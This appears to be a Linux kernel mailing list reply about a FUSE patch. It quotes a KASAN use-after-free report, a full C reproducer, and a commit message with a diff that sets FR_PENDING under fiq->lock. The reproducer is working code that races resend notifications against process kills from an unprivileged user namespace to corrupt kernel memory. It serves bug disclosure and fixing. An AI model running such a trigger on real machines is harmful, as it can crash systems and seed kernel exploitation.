Re: [PATCH 1/2] fuse: set FR_PENDING under fiq->lock in fuse_chan_resend()

[Tang Yizhou <tangyeechou@gmail.com>]

On 17/8/26 6:25 pm, Jun Yang wrote:
> Below are the KASAN report, the reproducer, and the revised commit message.
> The issue reproduces reliably in local testing; one decoded KASAN report follows:
> 
> --- KASAN report ---
> 
>   BUG: KASAN: slab-use-after-free in fuse_dev_do_read+0x1c98/0x1d40
>     fuse_read_interrupt                     fs/fuse/dev.c:1380 [inlined]
>     fuse_dev_do_read                        fs/fuse/dev.c:1567
>   Read of size 8 at addr ff11000103da6b20 by task poc/14975
>   CPU: 2 UID: 1000 PID: 14975 Comm: poc Tainted: G    B   W           7.2.0-rc7-clean-24ef02f934ee #2 PREEMPT(lazy)
>   Call Trace:
>    fuse_dev_do_read+0x1c98/0x1d40          fs/fuse/dev.c:1380 [inlined]
>                                              fs/fuse/dev.c:1567
>    fuse_dev_read+0x161/0x1d0               fs/fuse/dev.c:1694
>    vfs_read+0x700/0xab0                    fs/read_write.c:574
>    ksys_read+0x114/0x250                   fs/read_write.c:716
>    do_syscall_64+0xe0/0x5a0                arch/x86/entry/syscall_64.c:94
> 
>   Allocated by task 14945:
>    fuse_request_alloc+0x22/0x210           fs/fuse/dev.c:48
>    fuse_get_req+0x1e4/0x360                fs/fuse/dev.c:130
>    fuse_chan_send+0x105/0x5f0              fs/fuse/dev.c:822
>    fuse_lookup_name+0x38d/0x830            fs/fuse/dir.c:577
>    vfs_statx+0xd2/0x3b0                    fs/stat.c:353
> 
>   Freed by task 14945:
>    kmem_cache_free+0xca/0x3f0              mm/slub.c:6504
>    fuse_chan_send+0x438/0x5f0              fs/fuse/dev.c:839
>    fuse_lookup_name+0x38d/0x830            fs/fuse/dir.c:577
>    vfs_statx+0xd2/0x3b0                    fs/stat.c:353
> 
>   The buggy address belongs to the object at ff11000103da6ae0
>    which belongs to the cache fuse_request of size 168
> 
> --- reproducer ---
> 
> #define _GNU_SOURCE
> #include <errno.h>
> #include <fcntl.h>
> #include <pthread.h>
> #include <sched.h>
> #include <signal.h>
> #include <stdatomic.h>
> #include <stdbool.h>
> #include <stdint.h>
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <sys/ioctl.h>
> #include <sys/mount.h>
> #include <sys/prctl.h>
> #include <sys/stat.h>
> #include <sys/wait.h>
> #include <unistd.h>
> 
> struct fuse_in_header {
> 	uint32_t len;
> 	uint32_t opcode;
> 	uint64_t unique;
> 	uint64_t nodeid;
> 	uint32_t uid;
> 	uint32_t gid;
> 	uint32_t pid;
> 	uint16_t total_extlen;
> 	uint16_t padding;
> };
> 
> struct fuse_out_header {
> 	uint32_t len;
> 	int32_t error;
> 	uint64_t unique;
> };
> 
> struct fuse_init_out {
> 	uint32_t major, minor, max_readahead, flags;
> 	uint16_t max_background, congestion_threshold;
> 	uint32_t max_write, time_gran;
> 	uint16_t max_pages, map_alignment;
> 	uint32_t flags2;
> 	uint32_t max_stack_depth;
> 	uint16_t request_timeout;
> 	uint16_t unused[11];
> };
> 
> #define FUSE_INIT 26
> #define FUSE_NOTIFY_RESEND 7
> #define FUSE_DEV_IOC_MAGIC 229
> #define FUSE_DEV_IOC_CLONE _IOR(FUSE_DEV_IOC_MAGIC, 0, uint32_t)
> #define FUSE_PARALLEL_DIROPS (1 << 18)
> #define FUSE_MAX_PAGES (1 << 22)
> 
> enum {
> 	VICTIM_THREADS = 512,
> 	CLONE_FDS = 96,
> 	RESEND_ROUNDS = 4,
> 	RUN_SECONDS = 120,
> 	SETTLE_US = 20000,
> };
> 
> static int fuse_fd = -1;
> static atomic_int daemon_stop;
> static atomic_int race_start;
> static atomic_int parked;
> static long total_iterations;
> static long total_parked;
> static long total_resends;
> static long total_resend_failures;
> 
> static long now_ms(void)
> {
> 	struct timespec ts;
> 
> 	clock_gettime(CLOCK_MONOTONIC, &ts);
> 	return ts.tv_sec * 1000L + ts.tv_nsec / 1000000L;
> }
> 
> static void pin_cpu(int cpu)
> {
> 	cpu_set_t set;
> 
> 	CPU_ZERO(&set);
> 	CPU_SET(cpu, &set);
> 	sched_setaffinity(0, sizeof(set), &set);
> }
> 
> static int write_file(const char *path, const char *value)
> {
> 	int fd;
> 	ssize_t len = strlen(value);
> 
> 	fd = open(path, O_WRONLY);
> 	if (fd < 0)
> 		return -1;
> 	if (write(fd, value, len) != len) {
> 		close(fd);
> 		return -1;
> 	}
> 	close(fd);
> 	return 0;
> }
> 
> static void *fuse_daemon(void *unused)
> {
> 	static char buf[1 << 20];
> 
> 	(void)unused;
> 	pin_cpu(2);
> 
> 	while (!atomic_load(&daemon_stop)) {
> 		struct fuse_in_header *in;
> 		ssize_t n = read(fuse_fd, buf, sizeof(buf));
> 
> 		if (n < 0) {
> 			if (errno == EINTR || errno == EAGAIN)
> 				continue;
> 			break;
> 		}
> 		if ((size_t)n < sizeof(*in))
> 			continue;
> 
> 		in = (void *)buf;
> 		if (in->opcode == FUSE_INIT) {
> 			struct {
> 				struct fuse_out_header out;
> 				struct fuse_init_out init;
> 			} reply = { 0 };
> 
> 			reply.out.len = sizeof(reply);
> 			reply.out.unique = in->unique;
> 			reply.init.major = 7;
> 			reply.init.minor = 31;
> 			reply.init.max_readahead = 4096;
> 			reply.init.flags = FUSE_PARALLEL_DIROPS |
> 					   FUSE_MAX_PAGES;
> 			reply.init.max_background = UINT16_MAX;
> 			reply.init.congestion_threshold = UINT16_MAX;
> 			reply.init.max_write = 65536;
> 			reply.init.time_gran = 1;
> 			reply.init.max_pages = 32;
> 			if (write(fuse_fd, &reply, sizeof(reply)) < 0)
> 				perror("FUSE_INIT reply");
> 			continue;
> 		}
> 
> 		/* Leave every non-INIT request in fpq->processing[]. */
> 		atomic_fetch_add(&parked, 1);
> 	}
> 	return NULL;
> }
> 
> static void wait_for_race(void)
> {
> 	while (!atomic_load_explicit(&race_start, memory_order_acquire))
> 		__asm__ __volatile__("pause" ::: "memory");
> }
> 
> struct race {
> 	pid_t victim;
> 	long resends;
> 	long failures;
> };
> 
> static void *resend_requests(void *arg)
> {
> 	struct race *race = arg;
> 	struct fuse_out_header out = {
> 		.len = sizeof(out),
> 		.error = FUSE_NOTIFY_RESEND,
> 	};
> 	int i;
> 
> 	pin_cpu(0);
> 	wait_for_race();
> 	for (i = 0; i < RESEND_ROUNDS; i++) {
> 		if (write(fuse_fd, &out, sizeof(out)) == sizeof(out))
> 			race->resends++;
> 		else
> 			race->failures++;
> 	}
> 	return NULL;
> }
> 
> static void *kill_victim(void *arg)
> {
> 	struct race *race = arg;
> 
> 	pin_cpu(3);
> 	wait_for_race();
> 	kill(race->victim, SIGKILL);
> 	return NULL;
> }
> 
> struct victim_arg {
> 	int index;
> };
> 
> static char victim_root[64];
> 
> static void *victim_request(void *arg)
> {
> 	struct victim_arg *victim = arg;
> 	char path[96];
> 	struct stat st;
> 
> 	snprintf(path, sizeof(path), "%s/f%d", victim_root, victim->index);
> 	stat(path, &st);
> 	for (;;)
> 		pause();
> 	return NULL;
> }
> 
> static void run_victim(const char *mountpoint)
> {
> 	static struct victim_arg args[VICTIM_THREADS];
> 	pthread_attr_t attr;
> 	pthread_t thread;
> 	int i;
> 
> 	prctl(PR_SET_PDEATHSIG, SIGKILL);
> 	snprintf(victim_root, sizeof(victim_root), "%s", mountpoint);
> 	pthread_attr_init(&attr);
> 	pthread_attr_setstacksize(&attr, 64 * 1024);
> 	pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);
> 	for (i = 0; i < VICTIM_THREADS; i++) {
> 		args[i].index = i;
> 		if (pthread_create(&thread, &attr, victim_request, &args[i]))
> 			break;
> 	}
> 	pthread_attr_destroy(&attr);
> 	for (;;)
> 		pause();
> }
> 
> static int wait_for_parked_requests(void)
> {
> 	long start = now_ms();
> 	int idle = 0;
> 	int last = -1;
> 
> 	while (atomic_load(&parked) < VICTIM_THREADS &&
> 	       now_ms() - start < 3000) {
> 		int current = atomic_load(&parked);
> 
> 		idle = current == last ? idle + 1 : 0;
> 		last = current;
> 		if (idle > 30)
> 			break;
> 		usleep(1000);
> 	}
> 	return atomic_load(&parked);
> }
> 
> static int run_iteration(int iteration)
> {
> 	char mountpoint[64];
> 	char options[128];
> 	int clone_fds[CLONE_FDS];
> 	int clone_count = 0;
> 	int parked_count;
> 	int rc = -1;
> 	int i;
> 	pid_t victim = -1;
> 	pthread_t daemon_thread, resend_thread, kill_thread;
> 	bool daemon_started = false;
> 	bool resend_started = false;
> 	bool kill_started = false;
> 	struct race race = { 0 };
> 
> 	atomic_store(&daemon_stop, 0);
> 	atomic_store(&parked, 0);
> 	snprintf(mountpoint, sizeof(mountpoint), "/tmp/fuse-%d", iteration);
> 	if (mkdir(mountpoint, 0755) && errno != EEXIST)
> 		goto out;
> 
> 	fuse_fd = open("/dev/fuse", O_RDWR);
> 	if (fuse_fd < 0)
> 		goto out;
> 
> 	snprintf(options, sizeof(options),
> 		 "fd=%d,rootmode=40000,user_id=0,group_id=0", fuse_fd);
> 	if (mount("fuse", mountpoint, "fuse", 0, options))
> 		goto out;
> 
> 	victim = fork();
> 	if (!victim) {
> 		run_victim(mountpoint);
> 		_exit(0);
> 	}
> 	if (victim < 0)
> 		goto out;
> 
> 	/* Cloned devices widen fuse_chan_resend()'s fch->lock section. */
> 	for (i = 0; i < CLONE_FDS; i++) {
> 		uint32_t old_fd = fuse_fd;
> 		int fd = open("/dev/fuse", O_RDWR);
> 
> 		if (fd < 0)
> 			break;
> 		if (ioctl(fd, FUSE_DEV_IOC_CLONE, &old_fd)) {
> 			close(fd);
> 			break;
> 		}
> 		clone_fds[clone_count++] = fd;
> 	}
> 
> 	if (pthread_create(&daemon_thread, NULL, fuse_daemon, NULL))
> 		goto out;
> 	daemon_started = true;
> 
> 	parked_count = wait_for_parked_requests();
> 	if (iteration < 3 || !(iteration % 50))
> 		printf("[+] it=%d parked=%d/%d clones=%d\n", iteration,
> 		       parked_count, VICTIM_THREADS, clone_count);
> 	if (parked_count < VICTIM_THREADS / 2) {
> 		fprintf(stderr, "[!] insufficient parked requests\n");
> 		rc = 0;
> 		goto out;
> 	}
> 	total_parked += parked_count;
> 
> 	race.victim = victim;
> 	atomic_store(&race_start, 0);
> 	if (pthread_create(&resend_thread, NULL, resend_requests, &race))
> 		goto out;
> 	resend_started = true;
> 	if (pthread_create(&kill_thread, NULL, kill_victim, &race))
> 		goto out;
> 	kill_started = true;
> 
> 	usleep(2000);
> 	atomic_store_explicit(&race_start, 1, memory_order_release);
> 	pthread_join(resend_thread, NULL);
> 	resend_started = false;
> 	pthread_join(kill_thread, NULL);
> 	kill_started = false;
> 
> 	/* Let the daemon consume a stale interrupt entry. */
> 	usleep(SETTLE_US);
> 	total_resends += race.resends;
> 	total_resend_failures += race.failures;
> 	rc = 0;
> 
> out:
> 	atomic_store_explicit(&race_start, 1, memory_order_release);
> 	if (resend_started)
> 		pthread_join(resend_thread, NULL);
> 	if (kill_started)
> 		pthread_join(kill_thread, NULL);
> 
> 	atomic_store(&daemon_stop, 1);
> 	for (i = 0; i < clone_count; i++)
> 		close(clone_fds[i]);
> 	if (daemon_started) {
> 		pthread_kill(daemon_thread, SIGUSR1);
> 		pthread_join(daemon_thread, NULL);
> 	}
> 
> 	/* Abort before waitpid(), since some victim threads wait uninterruptibly. */
> 	if (victim > 0) {
> 		umount2(mountpoint, MNT_FORCE);
> 		kill(victim, SIGKILL);
> 		waitpid(victim, NULL, 0);
> 	}
> 	umount2(mountpoint, MNT_FORCE);
> 	umount2(mountpoint, MNT_DETACH);
> 	if (fuse_fd >= 0)
> 		close(fuse_fd);
> 	fuse_fd = -1;
> 	rmdir(mountpoint);
> 	return rc;
> }
> 
> static void interrupt_read(int signal)
> {
> 	(void)signal;
> }
> 
> int main(void)
> {
> 	struct sigaction action = { 0 };
> 	uid_t uid = getuid();
> 	gid_t gid = getgid();
> 	char map[64];
> 	long start;
> 	int iteration;
> 
> 	setvbuf(stdout, NULL, _IOLBF, 0);
> 	action.sa_handler = interrupt_read;
> 	sigemptyset(&action.sa_mask);
> 	sigaction(SIGUSR1, &action, NULL);
> 	signal(SIGPIPE, SIG_IGN);
> 
> 	if (unshare(CLONE_NEWUSER | CLONE_NEWNS)) {
> 		perror("unshare");
> 		return 2;
> 	}
> 	(void)write_file("/proc/self/setgroups", "deny");
> 	snprintf(map, sizeof(map), "0 %u 1", uid);
> 	if (write_file("/proc/self/uid_map", map))
> 		return 2;
> 	snprintf(map, sizeof(map), "0 %u 1", gid);
> 	if (write_file("/proc/self/gid_map", map))
> 		return 2;
> 	if (getuid())
> 		return 2;
> 	mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL);
> 
> 	printf("[+] poc: %ds, %d threads, %d clones\n", RUN_SECONDS,
> 	       VICTIM_THREADS, CLONE_FDS);
> 	start = now_ms();
> 	for (iteration = 0; now_ms() - start < RUN_SECONDS * 1000L;
> 	     iteration++) {
> 		if (run_iteration(iteration))
> 			return 2;
> 		total_iterations++;
> 		if (iteration && !(iteration % 50))
> 			printf("[+] progress: iterations=%ld parked=%ld "
> 			       "resends=%ld failures=%ld\n",
> 			       total_iterations, total_parked, total_resends,
> 			       total_resend_failures);
> 	}
> 
> 	printf("[+] DONE iterations=%ld parked=%ld resends=%ld failures=%ld\n",
> 	       total_iterations, total_parked, total_resends,
> 	       total_resend_failures);
> 	return 0;
> }
> 
> ---
> 
> Thanks,
> Jun
> 
> --- commit message ---
> 
> From: Jun Yang <junvyyang@tencent.com>
> Subject: [PATCH v2 1/2] fuse: set FR_PENDING under fiq->lock in
>  fuse_chan_resend()
> 
> fuse_remove_pending_req() checks FR_PENDING while holding fiq->lock and
> removes req->list when the bit is set.
> 
> fuse_chan_resend() first moves requests from fpq->processing to the
> stack-local to_queue list.  It then drops the queue locks and sets
> FR_PENDING before taking fiq->lock and moving the requests to
> fiq->pending.
> 
> This leaves the following race:
> 
>   fuse_chan_resend()              request waiter
> 
>   set_bit(FR_PENDING)
>                                    spin_lock(fiq->lock)
>                                    test FR_PENDING
>                                    list_del(req->list)
>                                    __fuse_put_request(req)
>   access req / walk to_queue
> 
> Take fiq->lock before setting FR_PENDING and keep it held until the
> requests have been added to fiq->pending.  Relative to
> fuse_remove_pending_req(), publishing FR_PENDING and changing the request's
> list ownership are then one fiq->lock-protected transition.  If fiq is
> already disconnected, end the requests without setting FR_PENDING.

Hi Jun,

I think you can read the kernel documentation on submitting patches and look at
how others write patches when solving similar issues. Then send out the updated
patchset.

-- 
Best Regards,
Yi

> 
> Fixes: 760eac73f9f6 ("fuse: Introduce a new notification type for resend pending requests")
> Cc: stable@kernel.org
> Reported-by: TencentOS Corvus AI <corvus@tencent.com>
> Assisted-by: tencentos-corvus-ai:kimi-k3
> Signed-off-by: Jun Yang <junvyyang@tencent.com>
> ---
>  fs/fuse/dev.c | 24 ++++++++++--------------
>  1 file changed, 10 insertions(+), 14 deletions(-)
> 
> diff --git a/fs/fuse/dev.c b/fs/fuse/dev.c
> index 5763a7cd3b37..e62c7ed8bcf4 100644
> --- a/fs/fuse/dev.c
> +++ b/fs/fuse/dev.c
> @@ -1781,26 +1781,22 @@ void fuse_chan_resend(struct fuse_chan *fch)
>  	}
>  	spin_unlock(&fch->lock);
>  
> -	list_for_each_entry_safe(req, next, &to_queue, list) {
> -		set_bit(FR_PENDING, &req->flags);
> -		clear_bit(FR_SENT, &req->flags);
> -		/* mark the request as resend request */
> -		req->in.h.unique |= FUSE_UNIQUE_RESEND;
> -	}
> -
>  	spin_lock(&fiq->lock);
>  	if (!fiq->connected) {
>  		spin_unlock(&fiq->lock);
> -		list_for_each_entry(req, &to_queue, list)
> -			clear_bit(FR_PENDING, &req->flags);
>  		fuse_dev_end_requests(&to_queue);
>  		return;
>  	}
> -	/*
> -	 * Remove interrupt entries for resent requests to prevent stale
> -	 * intr_entry on fiq->interrupts after the request is re-queued.
> -	 */
> -	list_for_each_entry(req, &to_queue, list) {
> +	list_for_each_entry_safe(req, next, &to_queue, list) {
> +		/* must be set under fiq->lock, see fuse_remove_pending_req() */
> +		set_bit(FR_PENDING, &req->flags);
> +		clear_bit(FR_SENT, &req->flags);
> +		/* mark the request as resend request */
> +		req->in.h.unique |= FUSE_UNIQUE_RESEND;
> +		/*
> +		 * Remove interrupt entries for resent requests to prevent stale
> +		 * intr_entry on fiq->interrupts after the request is re-queued.
> +		 */
>  		if (test_bit(FR_INTERRUPTED, &req->flags))
>  			list_del_init(&req->intr_entry);
>  	}